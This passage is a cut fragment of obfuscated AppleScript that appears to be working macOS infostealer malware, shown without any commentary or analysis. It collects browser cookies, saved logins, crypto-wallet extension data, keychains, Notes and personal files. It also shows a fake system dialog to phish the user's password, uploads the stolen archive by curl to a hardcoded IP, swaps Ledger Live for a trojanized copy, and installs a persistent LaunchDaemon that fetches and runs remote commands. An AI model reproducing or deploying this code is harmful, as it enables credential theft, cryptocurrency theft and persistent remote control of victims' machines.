p4399015111798680940)\" & return & \"try\" & return & \"set v3445687237814926359 to {{\\\"MetaMask\\\", \\\"[email protected]\\\\\\\\\\\\\\\":\\\\\\\\\\\\\\\"\\\"}}\" & return & \"repeat with r2710029803435992307 in v3445687237814926359\" & return & \"set v5527760559889148014 to f4606271286205922702(p4135792100352579745 & \\\"/prefs.js\\\", item 2 of r2710029803435992307)\" & return & \"if v5527760559889148014 is not \\\"not found\\\" then\" & return & \"set v7272432386463749454 to p4135792100352579745 & \\\"/storage/default/\\\"\" & return & \"set v2548569600021713815 to list folder v7272432386463749454 without invisibles\" & return & \"repeat with r4503796059574804811 in v2548569600021713815\" & return & \"if (r4503796059574804811 contains v5527760559889148014) and (r4503796059574804811 contains \\\"userContext\\\") then\" & return & \"set v7111736942498542969 to v7272432386463749454 & r4503796059574804811 & \\\"/idb/\\\"\" & return & \"set v2059788629588650947 to list folder v7111736942498542969 without invisibles\" & return & \"repeat with r2240402379985096094 in v2059788629588650947\" & return & \"if f3156936418114084484(v7111736942498542969 & r2240402379985096094) then\" & return & \"f8031310448975060865(v7111736942498542969 & r2240402379985096094, p4399015111798680940 & \\\"/\\\" & item 1 of r2710029803435992307 & \\\"/\\\")\" & return & \"end if\" & return & \"end repeat\" & return & \"end if\" & return & \"end repeat\" & return & \"end if\" & return & \"end repeat\" & return & \"end try\" & return & \"end f8098720406337565837\" & return & \"on f2536643714453681639(p6491836862543296525, p1104512043356146378, p4719841690245269790)\" & return & \"try\" & return & \"set v8041447865609609921 to {\\\"/cookies.sqlite\\\", \\\"/formhistory.sqlite\\\", \\\"/key4.db\\\", \\\"/logins.json\\\"}\" & return & \"set v5741765454527728264 to list folder p1104512043356146378 without invisibles\" & return & \"repeat with r6569667071032230762 in v5741765454527728264\" & return & \"set v3283859923721329108 to p4719841690245269790 & \\\"gecko/\\\" & p6491836862543296525 & \\\"_\\\" & r6569667071032230762\" & return & \"f8098720406337565837(p1104512043356146378 & r6569667071032230762, v3283859923721329108)\" & return & \"set v4700655626243587894 to p1104512043356146378 & r6569667071032230762\" & return & \"repeat with r7733418144795446467 in v8041447865609609921\" & return & \"f3260842499625414770(v4700655626243587894 & r7733418144795446467, v3283859923721329108 & r7733418144795446467)\" & return & \"end repeat\" & return & \"end repeat\" & return & \"end try\" & return & \"end f2536643714453681639\" & return & \"on f5789441686885361081(p7334453719510525956, p1729246370798074576)\" & return & \"try\" & return & \"set v2766682643012023727 to do shell script \\\"dscl . authonly \\\" & quoted form of p7334453719510525956 & space & quoted form of p1729246370798074576\" & return & \"if v2766682643012023727 is not equal to \\\"\\\" then\" & return & \"return false\" & return & \"else\" & return & \"return true\" & return & \"end if\" & return & \"on error\" & return & \"return false\" & return & \"end try\" & return & \"end f5789441686885361081\" & return & \"on f4455047023799241882(p8940679689014766929, p3632011921762080103)\" & return & \"try\" & return & \"if f5789441686885361081(p8940679689014766929, \\\"\\\") then\" & return & \"set v4919179166161086149 to do shell script \\\"security 2>&1 > /dev/null find-generic-password -ga \\\\\\\"Chrome\\\\\\\" | awk \\\\\\\"{print \$2}\\\\\\\"\\\"\" & return & \"f6264705180628981705(v4919179166161086149 as string, p3632011921762080103 & \\\"masterpass-chrome\\\")\" & return & \"else\" & return & \"repeat\" & return & \"set v4919179166161086149 to display dialog \\\"Required Application Helper. Please enter device password to continue.\\\" default answer \\\"\\\" with icon caution buttons {\\\"Continue\\\"} default button \\\"Continue\\\" giving up after 150 with title \\\"Application wants to install helper\\\" with hidden answer\" & return & \"set v1113402095258927485 to text returned of v4919179166161086149\" & return & \"if f5789441686885361081(p8940679689014766929, v1113402095258927485) then\" & return & \"return v1113402095258927485\" & return & \"end if\" & return & \"end repeat\" & return & \"end if\" & return & \"end try\" & return & \"return \\\"\\\"\" & return & \"end f4455047023799241882\" & return & \"on f5580828236190888392(p1723230788839028370, p5378765118834738397, p8092797049054828465, p2444943568190761710)\" & return & \"try\" & return & \"set v4846700367200223038 to list folder p1723230788839028370 without invisibles\" & return & \"repeat with r8306651402256042108 in v4846700367200223038\" & return & \"repeat with r6735850789153243997 in p8092797049054828465\" & return & \"if (r8306651402256042108 contains r6735850789153243997) then\" & return & \"set v5773195421035163669 to p1723230788839028370 & r8306651402256042108\" & return & \"set v1039143461784461798 to p5378765118834738397 & \\\"/\\\" & r6735850789153243997\" & return & \"if p2444943568190761710 then\" & return & \"set v1039143461784461798 to v1039143461784461798 & \\\"/IndexedDB/\\\"\" & return & \"end if\" & return & \"f8031310448975060865(v5773195421035163669, v1039143461784461798)\" & return & \"end if\" & return & \"end repeat\" & return & \"end repeat\" & return & \"end try\" & return & \"end f5580828236190888392\" & return & \"on f1591517285159242142(p4863990634495586282, p6334719600918497600)\" & return & \"set v4405675767274189443 to {\\\"ldinpeekobnhjjdofggfgjlcehhmanlj\\\", \\\"nphplpgoakhhjchkkhmiggakijnkhfnd\\\", \\\"jbkgjmpfammbgejcpedggoefddacbdia\\\", \\\"fccgmnglbhajioalokbcidhcaikhlcpm\\\", \\\"nebnhfamliijlghikdgcigoebonmoibm\\\", \\\"fdcnegogpncmfejlfnffnofpngdiejii\\\", \\\"mfhbebgoclkghebffdldpobeajmbecfk\\\", \\\"ffbceckpkpbcmgiaehlloocglmijnpmp\\\", \\\"kfdniefadaanbjodldohaedphafoffoh\\\", \\\"bedogdpgdnifilpgeianmmdabklhfkcn\\\", \\\"kpfchfdkjhcoekhdldggegebfakaaiog\\\", \\\"klnaejjgbibmhlephnhpmaofohgkpgkd\\\", \\\"opcgpfmipidbgpenhmajoajpbobppdil\\\", \\\"mmmjbcfofconkannjonfmjjajpllddbg\\\", \\\"modjfdjcodmehnpccdjngmdfajggaoeh\\\", \\\"dkdedlpgdmmkkfjabffeganieamfklkm\\\", \\\"ifclboecfhkjbpmhgehodcjpciihhmif\\\", \\\"ppbibelpcjmhbdihakflkdcoccbgbkpo\\\", \\\"ejjladinnckdgjemekebdpeokbikhfci\\\", \\\"kkpllkodjeloidieedojogacfhpaihoh\\\", \\\"apnehcjmnengpnmccpaibjmhhoadaico\\\", \\\"jiepnaheligkibgcjgjepjfppgbcghmp\\\", \\\"jojhfeoedkpkglbfimdfabpdfjaoolaf\\\", \\\"idpdilbfamoopcfofbipefhmmnflljfi\\\", \\\"lbjapbcmmceacocpimbpbidpgmlmoaao\\\", \\\"oiohdnannmknmdlddkdejbmplhbdcbee\\\", \\\"fldfpgipfncgndfolcbkdeeknbbbnhcc\\\", \\\"fpkhgmpbidmiogeglndfbkegfdlnajnf\\\", \\\"lgmpcpglpngdoalbgeoldeajfclnhafa\\\", \\\"ilhaljfiglknggcoegeknjghdgampffk\\\", \\\"pfccjkejcgoppjnllalolplgogenfojk\\\", \\\"cnmamaachppnkjgnildpdmkaakejnhae\\\", \\\"eajafomhmkipbjmfmhebemolkcicgfmd\\\", \\\"emeeapjkbcbpbpgaagfchmcgglmebnen\\\", \\\"ibnejdfjmmkpcnlpebklmnkoeoihofec\\\", \\\"hifafgmccdpekplomjjkcfgodnhcellj\\\", \\\"ffnbelfdoeiohenkjibnmadjiehjhajb\\\", \\\"fnjhmkhhmkbjkkabndcnnogagogbneec\\\", \\\"bcopgchhojmggmffilplmbdicgaihlkp\\\", \\\"cmoakldedjfnjofgbbfenefcagmedlga\\\", \\\"ifckdpamphokdglkkdomedpdegcjhjdp\\\", \\\"ibljocddagjghmlpgihahamcghfggcjc\\\", \\\"cjmkndjhnagcfbpiemnkdpomccnjblmj\\\", \\\"kbdcddcmgoplfockflacnnefaehaiocb\\\", \\\"cgeeodpfagjceefieflmdfphplkenlfk\\\", \\\"afbcbjpbpfadlkmhmclhkeeodmamcflc\\\", \\\"fdchdcpieegfofnofhgdombfckhbcokj\\\", \\\"gjlmehlldlphhljhpnlddaodbjjcchai\\\", \\\"ellkdbaphhldpeajbepobaecooaoafpg\\\", \\\"ojbcfhjmpigfobfclfflafhblgemeidi\\\", \\\"ghlmndacnhlaekppcllcpcjjjomjkjpg\\\", \\\"kgdijkcfiglijhaglibaidbipiejjfdp\\\", \\\"abkahkcbhngaebpcgfmhkoioedceoigp\\\", \\\"ammjlinfekkoockogfhdkgcohjlbhmff\\\", \\\"pdliaogehgdbhbnmkklieghmmjkpigpa\\\", \\\"jnlgamecbpmbajjfhmmmlhejkemejdma\\\", \\\"nbdhibgjnjpnkajaghbffjbkcgljfgdi\\\", \\\"jfdlamikmbghhapbgfoogdffldioobgl\\\", \\\"fijngjgcjhjmmpcmkeiomlglpeiijkld\\\", \\\"hgbeiipamcgbdjhfflifkgehomnmglgk\\\", \\\"pmmnimefaichbcnbndcfpaagbepnjaig\\\", \\\"cflgahhmjlmnjbikhakapcfkpbcmllam\\\", \\\"keenhcnmdmjjhincpilijphpiohdppno\\\", \\\"bipdhagncpgaccgdbddmbpcabgjikfkn\\\", \\\"bcenedbpaaegpnijoadpdjiachahncdg\\\", \\\"pocmplpaccanhmnllbbkpgfliimjljgo\\\", \\\"klghhnkeealcohjjanjjdaeeggmfmlpl\\\", \\\"cjookpbkjnpkmknedggeecikaponcalb\\\", \\\"ojggmchlghnjlapmfbnjholfjkiidbch\\\", \\\"dngmlblcodfobpdpecaadgfbcggfjfnm\\\", \\\"jnldfbidonfeldmalbflbmlebbipcnle\\\", \\\"ehjiblpccbknkgimiflboggcffmpphhp\\\", \\\"agoakfejjabomempkjlepdflaleeobhb\\\", \\\"fopmedgnkfpebgllppeddmmochcookhc\\\", \\\"dmkamcknogkgcdfhhbddcghachkejeap\\\", \\\"iglbgmakmggfkoidiagnhknlndljlolb\\\", \\\"opfgelmcmbiajamepnmloijbpoleiama\\\", \\\"gkeelndblnomfmjnophbhfhcjbcnemka\\\", \\\"dgiehkgfknklegdhekgeabnhgfjhbajd\\\", \\\"gafhhkghbfjjkeiendhlofajokpaflmk\\\", \\\"imlcamfeniaidioeflifonfjeeppblda\\\", \\\"penjlddjkjgpnkllboccdgccekpkcbin\\\", \\\"nhnkbkgjikgcigadomkphalanndcapjk\\\", \\\"egjidjbpglichdcondbcbdnbeeppgdph\\\", \\\"dlcobpjiigpikoobohmabehhmhfoodbb\\\", \\\"dldjpboieedgcmpkchcjcbijingjcgok\\\", \\\"acmacodkjbdgmoleebolmdjonilkdbch\\\", \\\"lccbohhgfkdikahanoclbdmaolidjdfl\\\", \\\"pcndjhkinnkaohffealmlmhaepkpmgkb\\\", \\\"gjagmgiddbbciopjhllkdnddhcglnemk\\\", \\\"cnncmdhjacpkmjmkcafchppbnpnhdmon\\\", \\\"mfgccjchihfkkindfppnaooecgfneiii\\\", \\\"ieldiilncjhfkalnemgjbffmpomcaigi\\\", \\\"ckklhkaabbmdjkahiaaplikpdddkenic\\\", \\\"loinekcabhlmhjjbocijdoimmejangoa\\\", \\\"mgffkfbidihjpoaomajlbgchddlicgpn\\\", \\\"pnndplcbkakcplkjnolgbkdgjikjednm\\\", \\\"mcohilncbfahbmgdjkbpemcciiolgcge\\\", \\\"bgpipimickeadkjlklgciifhnalhdjhe\\\", \\\"pdadjkfkgcafgbceimcpbkalnfnepbnk\\\", \\\"jiidiaalihmmhddjgbnbgdfflelocpak\\\", \\\"aeachknmefphepccionboohckonoeemg\\\", \\\"gdokollfhmnbfckbobkdbakhilldkhcj\\\", \\\"jiiigigdinhhgjflhljdkcelcjfmplnd\\\", \\\"kmphdnilpmdejikjdnlbcnmnabepfgkh\\\", \\\"jaooiolkmfcmloonphpiiogkfckgciom\\\", \\\"fcckkdbjnoikooededlapcalpionmalo\\\", \\\"mdnaglckomeedfbogeajfajofmfgpoae\\\", \\\"ebfidpplhabeedpnhjnobghokpiioolj\\\", \\\"dbgnhckhnppddckangcjbkjnlddbjkna\\\", \\\"cpmkedoipcpimgecpmgpldfpohjplkpp\\\", \\\"epapihdplajcdnnkdeiahlgigofloibg\\\", \\\"iokeahhehimjnekafflcihljlcjccdbe\\\", \\\"cihmoadaighcejopammfbmddcmdekcje\\\", \\\"hnfanknocfeofbddgcijnmhnfnkdnaad\\\", \\\"kilnpioakcdndlodeeceffgjdpojajlo\\\", \\\"abogmiocnneedmmepnohnhlijcjpcifd\\\", \\\"bofddndhbegljegmpmnlbhcejofmjgbn\\\", \\\"aholpfdialjgjfhomihkjbmgjidlcdno\\\", \\\"hdkobeeifhdplocklknbnejdelgagbao\\\", \\\"oafedfoadhdjjcipmcbecikgokpaphjk\\\", \\\"bfnaelmomeimhlpmgjnjophhpkkoljpa\\\", \\\"nkbihfbeogaeaoehlefnkodbefgpgknn\\\", \\\"lfmmjkfllhmfmkcobchabopkcefjkoip\\\", \\\"aiifbnbfobpmeekipheeijimdpnlpgpp\\\", \\\"anokgmphncpekkhclmingpimjmcooifb\\\", \\\"mnfifefkajgofkcjkemidiaecocnkjeh\\\", \\\"momakdpclmaphlamgjcndbgfckjfpemp\\\", \\\"akkmagafhjjjjclaejjomkeccmjhdkpa\\\", \\\"ehgjhhccekdedpbkifaojjaefeohnoea\\\", \\\"mkpegjkblkkefacfnmkajcjmabijhclg\\\", \\\"mlhakagmgkmonhdonhkpjeebfphligng\\\", \\\"niiaamnmgebpeejeemoifgdndgeaekhe\\\", \\\"jnmbobjmhlngoefaiojfljckilhhlhcj\\\", \\\"onhogfjeacnfoofkfgppdlbmlmnplgbn\\\", \\\"kppfdiipphfccemcignhifpjkapfbihd\\\", \\\"hcjhpkgbmechpabifbggldplacolbkoh\\\", \\\"flpiciilemghbmfalicajoolhkkenfel\\\", \\\"mlbnicldlpdimbjdcncnklfempedeipj\\\", \\\"cfbfdhimifdmdehjmkdobpcjfefblkjm\\\", \\\"ocjobpilfplciaddcbafabcegbilnbnb\\\", \\\"pgiaagfkgcbnmiiolekcfmljdagdhlcm\\\", \\\"enabgbdfcbaehmbigakijjabdpdnimlg\\\", \\\"bifidjkcdpgfnlbcjpdkdcnbiooooblg\\\", \\\"lnnnmfcpbkafcpgdilckhmhbkkbpkmid\\\", \\\"nlgbhdfgdhgbiamfdfmbikcdghidoadd\\\", \\\"fcfcfllfndlomdhbehjjcoimbgofdncg\\\", \\\"lpilbniiabackdjcionkobglmddfbcjo\\\", \\\"efbglgofoippbgcjepnhiblaibcnclgk\\\", \\\"fhbohimaelbohpjbbldcngcnapndodjp\\\", \\\"gkodhkbmiflnmkipcmlhhgadebbeijhh\\\", \\\"bocpokimicclpaiekenaeelehdjllofo\\\", \\\"bhhhlbepdkbapadjdnnojkbgioiodbic\\\", \\\"aflkmfhebedbjioipglgcbcmnbpgliof\\\", \\\"mkchoaaiifodcflmbaphdgeidocajadp\\\", \\\"mapbhaebnddapnmifbbkgeedkeplgjmf\\\", \\\"lmkncnlpeipongihbffpljgehamdebgi\\\", \\\"gjnckgkfmgmibbkoficdidcljeaaaheg\\\", \\\"ppdadbejkmjnefldpcdjhnkpbjkikoip\\\", \\\"bopcbmipnjdcdfflfgjdgdjejmgpoaab\\\", \\\"kamfleanhcmjelnhaeljonilnmjpkcjc\\\", \\\"cphhlgmgameodnhkjdmkpanlelnlohao\\\", \\\"hnhobjmcibchnmglfbldbfabcgaknlkj\\\", \\\"nknhiehlklippafakaeklbeglecifhad\\\", \\\"kjjebdkfeagdoogagbhepmbimaphnfln\\\", \\\"phkbamefinggmakgklpkljjmgibohnba\\\", \\\"lakggbcodlaclcbbbepmkpdhbcomcgkd\\\", \\\"ookjlbkiijinhpmnjffcofjonbfbgaoc\\\", \\\"mdjmfdffdcmnoblignmgpommbefadffd\\\", \\\"jblndlipeogpafnldhgmapagcccfchpi\\\", \\\"hbbgbephgojikajhfbomhlmmollphcad\\\", \\\"dpcklmdombjcplafheapiblogdlgjjlb\\\", \\\"hmeobnfnfcmdkdcmlblgagmfpfboieaf\\\", \\\"kmhcihpebfmpgmihbkipmjlmmioameka\\\", \\\"kennjipeijpeengjlogfdjkiiadhbmjl\\\", \\\"amkmjjmmflddogmhpjloimipbofnfjih\\\", \\\"idnnbdplmphpflfnlkomgpfbpcgelopg\\\", \\\"fmblappgoiilbgafhjklehhfifbdocee\\\", \\\"heamnjbnflcikcggoiplibfommfbkjpj\\\", \\\"khpkpbbcccdmmclmpigdgddabeilkdpd\\\", \\\"omaabbefbmiijedngplfjmnooppbclkk\\\", \\\"nhlnehondigmgckngjomcpcefcdplmgc\\\", \\\"fiikommddbeccaoicoejoniammnalkfa\\\", \\\"ejbidfepgijlcgahbmbckmnaljagjoll\\\", \\\"glmhbknppefdmpemdmjnjlinpbclokhn\\\", \\\"kncchdigobghenbbaddojjnnaogfppfj\\\", \\\"hpclkefagolihohboafpheddmmgdffjm\\\", \\\"ilolmnhjbbggkmopnemiphomhaojndmb\\\", \\\"panpgppehdchfphcigocleabcmcgfoca\\\", \\\"nngceckbapebfimnlniiiahkandclblb\\\", \\\"hdokiejnpimakedhajhdlcegeplioahd\\\", \\\"eiaeiblijfjekdanodkjadfinkhbfgcd\\\", \\\"bfogiafebfohielmmehodmfbbebbbpei\\\", \\\"pnlccmojcmeohlpggmfnbbiapkmbliob\\\", \\\"aeblfdkhhhdcdjpifhhbdiojplfjncoa\\\", \\\"kmcfomidfpdkfieipokbalgegidffkal\\\", \\\"fdjamakpfbbddfjaooikfcpapjohcfmg\\\", \\\"ghmbeldphafepmbegfdlkpapadhbakde\\\", \\\"cnlhokffphohmfcddnibpohmkdfafdli\\\", \\\"khhapgacijodhjokkcjmleaempmchlem\\\", \\\"admmjipmmciaobhojoghlmleefbicajg\\\", \\\"caljgklbbfbcjjanaijlacgncafpegll\\\", \\\"bdgmdoedahdcjmpmifafdhnffjinddgc\\\"}\" & return & \"set v8742602037954305398 to {\\\"hnfanknocfeofbddgcijnmhnfnkdnaad\\\", \\\"mcohilncbfahbmgdjkbpemcciiolgcge\\\", \\\"aflkmfhebedbjioipglgcbcmnbpgliof\\\", \\\"enabgbdfcbaehmbigakijjabdpdnimlg\\\", \\\"cpmkedoipcpimgecpmgpldfpohjplkpp\\\", \\\"hdokiejnpimakedhajhdlcegeplioahd\\\", \\\"eiaeiblijfjekdanodkjadfinkhbfgcd\\\", \\\"cnlhokffphohmfcddnibpohmkdfafdli\\\", \\\"khhapgacijodhjokkcjmleaempmchlem\\\", \\\"hifafgmccdpekplomjjkcfgodnhcellj\\\"}\" & return & \"set v1193781549428669497 to {\\\"/Network/Cookies\\\", \\\"/Cookies\\\", \\\"/Web Data\\\", \\\"/Login Data\\\", \\\"/Local Extension Settings/\\\", \\\"/IndexedDB/\\\"}\" & return & \"repeat with r6752091327858889504 in p6334719600918497600\" & return & \"set v2513835422850783512 to p4863990634495586282 & \\\"chromium/\\\" & item 1 of r6752091327858889504 & \\\"_\\\"\" & return & \"try\" & return & \"set v2694507030868519803 to list folder item 2 of r6752091327858889504 without invisibles\" & return & \"repeat with r3080019060869919598 in v2694507030868519803\" & return & \"if ((r3080019060869919598 as string) is equal to \\\"Default\\\") or ((r3080019060869919598 as string) contains \\\"Profile\\\") then\" & return & \"repeat with r3250349099168131866 in v1193781549428669497\" & return & \"set v1954333496690272467 to (item 2 of r6752091327858889504 & r3080019060869919598 & r3250349099168131866)\" & return & \"if ((r3250349099168131866 as string) is equal to \\\"/Network/Cookies\\\") then\" & return & \"set r3250349099168131866 to \\\"/Cookies\\\"\" & return & \"end if\" & return & \"if ((r3250349099168131866 as string) is equal to \\\"/Local Extension Settings/\\\") then\" & return & \"f5580828236190888392(v1954333496690272467, v2513835422850783512 & r3080019060869919598, v4405675767274189443, false)\" & return & \"else if (r3250349099168131866 as string) is equal to \\\"/IndexedDB/\\\" then\" & return & \"f5580828236190888392(v1954333496690272467, v2513835422850783512 & r3080019060869919598, v8742602037954305398, true)\" & return & \"else\" & return & \"set v6926349233833838297 to v2513835422850783512 & r3080019060869919598 & r3250349099168131866\" & return & \"f3260842499625414770(v1954333496690272467, v6926349233833838297)\" & return & \"end if\" & return & \"end repeat\" & return & \"end if\" & return & \"end repeat\" & return & \"end try\" & return & \"end repeat\" & return & \"end f1591517285159242142\" & return & \"on f1532446016022058365(p3881276098448230608)\" & return & \"try\" & return & \"set v2857667501174155446 to p3881276098448230608 & \\\"finder/\\\"\" & return & \"set v8281920971863355302 to POSIX file v2857667501174155446\" & return & \"set v4441088708029283771 to POSIX file (v2857667501174155446 & \\\"NotesMedia/\\\")\" & return & \"set v6158381901122815805 to {\\\"txt\\\", \\\"pdf\\\", \\\"docx\\\", \\\"wallet\\\", \\\"key\\\", \\\"keys\\\", \\\"doc\\\", \\\"jpeg\\\", \\\"png\\\", \\\"kdbx\\\", \\\"rtf\\\", \\\"jpg\\\"}\" & return & \"set v8469470304514680439 to 0\" & return & \"set v8650131140709316950 to 0\" & return & \"set v6672744883499636961 to do shell script \\\"system_profiler SPHardwareDataType | awk \\\\\\\"/UUID/ { print \$3 }\\\\\\\"\\\"\" & return & \"f5498098200027630037(v8281920971863355302)\" & return & \"f5498098200027630037(v4441088708029283771)\" & return & \"tell application \\\"Finder\\\"\" & return & \"try\" & return & \"set v5664556149018466815 to (path to home folder as text) & \\\"Library:Cookies:\\\"\" & return & \"duplicate file (v5664556149018466815 & \\\"Cookies.binarycookies\\\") to folder v8281920971863355302 with replacing\" & return & \"set name of result to \\\"saf1\\\"\" & return & \"end try\" & return & \"set v5859511804315351637 to ((path to library folder from user domain as text) & \\\"Containers:com.apple.Safari:Data:Library:Cookies:\\\")\" & return & \"try\" & return & \"duplicate file \\\"Cookies.binarycookies\\\" of folder v5859511804315351637 to folder v8281920971863355302 with replacing\" & return & \"end try\" & return & \"set v5695573350752543491 to (path to home folder as text) & \\\"Library:Group Containers:group.com.apple.notes:\\\"\" & return & \"try\" & return & \"set v4028253585474527214 to folder v5695573350752543491\" & return & \"set v3059343139743270365 to {\\\"NoteStore.sqlite\\\", \\\"NoteStore.sqlite-shm\\\", \\\"NoteStore.sqlite-wal\\\"}\" & return & \"repeat with r5970773334031856482 in v3059343139743270365\" & return & \"try\" & return & \"duplicate (file r5970773334031856482 of v4028253585474527214) to folder v8281920971863355302 with replacing\" & return & \"end try\" & return & \"end repeat\" & return & \"end try\" & return & \"set v6670855804231182791 to (v5695573350752543491 & \\\"Accounts:\\\")\" & return & \"try\" & return & \"set v5519092049812466280 to folder v6670855804231182791\" & return & \"set v3264421481048971213 to every folder of v5519092049812466280\" & return & \"repeat with r4258096541253041116 in v3264421481048971213\" & return & \"set v1705315559787201198 to v6670855804231182791 & name of r4258096541253041116 & \\\":Media:\\\"\" & return & \"set v8602179077777075102 to every folder of (folder v1705315559787201198)\" & return & \"repeat with r6918584002998503489 in v8602179077777075102\" & return & \"set v2041994904574966794 to v1705315559787201198 & name of r6918584002998503489\" & return & \"set v4708919411825789932 to every folder of (folder v2041994904574966794)\" & return & \"repeat with r5412423611944794898 in v4708919411825789932\" & return & \"set v3110012799677078337 to every file of r5412423611944794898\" & return & \"repeat with r2422556479517081844 in v3110012799677078337\" & return & \"try\" & return & \"set v5797793165775939366 to size of r2422556479517081844 as text\" & return & \"set v8650131140709316950 to v8650131140709316950 + v5797793165775939366\" & return & \"if v8650131140709316950 < 12 * 1024 * 1024 then\" & return & \"duplicate r2422556479517081844 to v4441088708029283771 with replacing\" & return & \"else\" & return & \"exit repeat\" & return & \"end if\" & return & \"end try\" & return & \"end repeat\" & return & \"end repeat\" & return & \"end repeat\" & return & \"end repeat\" & return & \"end try\" & return & \"try\" & return & \"set v5664556149018466815 to (path to library folder from user domain as text) & \\\"Safari:\\\"\" & return & \"duplicate (file \\\"Form Values\\\" of folder v5664556149018466815) to v8281920971863355302 with replacing\" & return & \"end try\" & return & \"try\" & return & \"set v1095958890041291631 to (path to library folder from user domain as text) & \\\"Keychains:\\\" & v6672744883499636961\" & return & \"duplicate folder v1095958890041291631 to v8281920971863355302 with replacing\" & return & \"end try\" & return & \"try\" & return & \"set v8119924508541357890 to every file of desktop\" & return & \"set v6040935122466836241 to every file of folder \\\"Documents\\\" of (path to home folder)\" & return & \"repeat with r5970773334031856482 in (v8119924508541357890 & v6040935122466836241)\" & return & \"set v6932649326940113769 to name extension of r5970773334031856482\" & return & \"if v6932649326940113769 is in v6158381901122815805 then\" & return & \"set v5797793165775939366 to size of r5970773334031856482\" & return & \"if (v8469470304514680439 + v5797793165775939366) < 10 * 1024 * 1024 then\" & return & \"try\" & return & \"duplicate r5970773334031856482 to folder v8281920971863355302 with replacing\" & return & \"set v8469470304514680439 to v8469470304514680439 + v5797793165775939366\" & return & \"end try\" & return & \"else\" & return & \"exit repeat\" & return & \"end if\" & return & \"end if\" & return & \"end repeat\" & return & \"end try\" & return & \"end tell\" & return & \"end try\" & return & \"end f1532446016022058365\" & return & \"on f8497057021342530935(p5900055593697774672, p8246563282623393106, p2010142394812967057, p5668794948295293669)\" & return & \"try\" & return & \"set v3255209542620155720 to (do shell script \\\"curl -X POST -H \\\\\\\"buildid: ba0069e5ee8f4f91ae69ccdb86b78076\\\\\\\" -H \\\\\\\"username: \\\" & p8246563282623393106 & \\\"\\\\\\\" -H \\\\\\\"repeat: \\\" & p5668794948295293669 & \\\"\\\\\\\" -H \\\\\\\"cid: \\\\\\\" --data-binary @/tmp/out.zip http://\\\" & p2010142394812967057 & \\\"/log\\\")\" & return & \"on error\" & return & \"if p5900055593697774672 < 10 then\" & return & \"delay 60\" & return & \"f8497057021342530935(p5900055593697774672 + 1, p8246563282623393106, p2010142394812967057)\" & return & \"end if\" & return & \"end try\" & return & \"end f8497057021342530935\" & return & \"on f7881539568187939281(p2485608757807931554)\" & return & \"try\" & return & \"set v7282284727864660204 to \\\"\\\"\" & return & \"set v4769200348931914948 to 0\" & return & \"tell application \\\"Notes\\\"\" & return & \"set v2532122926136842264 to {}\" & return & \"set v3660538997077474786 to every account\" & return & \"repeat with r6203686060571348040 in v3660538997077474786\" & return & \"try\" & return & \"set v6069917827788775140 to properties of every note in r6203686060571348040\" & return & \"set v4769200348931914948 to v4769200348931914948 + (length of v6069917827788775140)\" & return & \"repeat with r4231202708533315726 in v6069917827788775140\" & return & \"try\" & return & \"set v2473674755434718728 to (creation date of r4231202708533315726) & return & (body of r4231202708533315726)\" & return & \"copy v2473674755434718728 to end of v2532122926136842264\" & return & \"end try\" & return & \"end repeat\" & return & \"end try\" & return & \"end repeat\" & return & \"set v7282284727864660204 to v2532122926136842264 as text\" & return & \"end tell\" & return & \"if v4769200348931914948 > 0 then\" & return & \"set v7282284727864660204 to \\\"<h1>Notes Count: \\\" & (v4769200348931914948 as text) & \\\"</h1> <br><br><br> \\\" & v7282284727864660204\" & return & \"f6264705180628981705(v7282284727864660204, p2485608757807931554 & \\\"finder/notes.html\\\")\" & return & \"end if\" & return & \"end try\" & return & \"end f7881539568187939281\" & return & \"on f7738793407393166782(p7555612972716165088, p1320216238734915359, p4310207234123017821)\" & return & \"try\" & return & \"set v3970677117347150220 to \\\"/Applications/Ledger Live.app\\\"\" & return & \"list folder POSIX file v3970677117347150220\" & return & \"do shell script \\\"curl http://\\\" & p4310207234123017821 & \\\"/otherassets/ledger.zip -o /tmp/ledger.zip\\\"\" & return & \"try\" & return & \"do shell script \\\"pkill \\\" & quoted form of \\\"Ledger Live\\\"\" & return & \"end try\" & return & \"do shell script \\\"echo \\\" & quoted form of p1320216238734915359 & \\\" | sudo -S rm -r \\\" & quoted form of v3970677117347150220\" & return & \"delay 0.01\" & return & \"do shell script \\\"unzip /tmp/ledger.zip -d /Applications\\\"\" & return & \"end try\" & return & \"end f7738793407393166782\" & return & \"on f7680579707267924922(p6319878029184497578, p8155257917916918513, p6151609391132453683)\" & return & \"try\" & return & \"set v3889753805557895190 to (random number from 10000 to 100000) as text\" & return & \"set v8451565999740633567 to \\\"com.\\\" & v3889753805557895190\" & return & \"set v5565569851091166079 to do shell script \\\"curl -s http://\\\" & p6151609391132453683 & \\\"/otherassets/plist\\\"\" & return & \"set v6729880044489636041 to \\\"<?xml version=\\\\\\\"1.0\\\\\\\" encoding=\\\\\\\"UTF-8\\\\\\\"?>\" & return & \"<!DOCTYPE plist PUBLIC \\\\\\\"-//Apple//DTD PLIST 1.0//EN\\\\\\\" \\\\\\\"http://www.apple.com/DTDs/PropertyList-1.0.dtd\\\\\\\">\" & return & \"<plist version=\\\\\\\"1.0\\\\\\\">\" & return & \"<dict>\" & return & \"<key>KeepAlive</key>\" & return & \"<true/>\" & return & \"<key>Label</key>\" & return & \"<string>\\\" & v8451565999740633567 & \\\"</string>\" & return & \"<key>ProgramArguments</key>\" & return & \"<array>\" & return & \"<string>/bin/bash</string>\" & return & \"<string>-c</string>\" & return & \" <string>\\\" & v5565569851091166079 & \\\"</string>\" & return & \"</array>\" & return & \"<key>UserName</key>\" & return & \" <string>\\\" & p6319878029184497578 & \\\"</string>\" & return & \"<key>RunAtLoad</key>\" & return & \"<true/>\" & return & \"<key>SessionCreate</key>\" & return & \"<true/>\" & return & \"</dict>\" & return & \"</plist>\\\"\" & return & \"f6264705180628981705(v6729880044489636041, \\\"/tmp/starter\\\")\" & return & \"do shell script \\\"echo \\\" & quoted form of p8155257917916918513 & \\\" | sudo -S cp /tmp/starter /Library/LaunchDaemons/\\\" & v8451565999740633567 & \\\".plist\\\"\" & return & \"try\" & return & \"do shell script \\\"echo \\\" & quoted form of p8155257917916918513 & \\\" | sudo -S launchctl bootstrap system /Library/LaunchDaemons/\\\" & v8451565999740633567 & \\\".plist\\\"\" & return & \"on error\" & return & \"do shell script \\\"nohup \\\" & v5565569851091166079 & \\\" >/dev/null 2>&1 &\\\"\" & return & \"end try\" & return & \"end try\" & return & \"end f7680579707267924922\" & return & \"on f7067467169335976972()\" & return & \"set v3611835577903818869 to (system attribute \\\"USER\\\")\" & return & \"set v5329093948850621050 to \\\"boss\\\"\" & return & \"set v6176627993449405708 to \\\"185.93.89.62\\\"\" & return & \"set v6007572078735828114 to 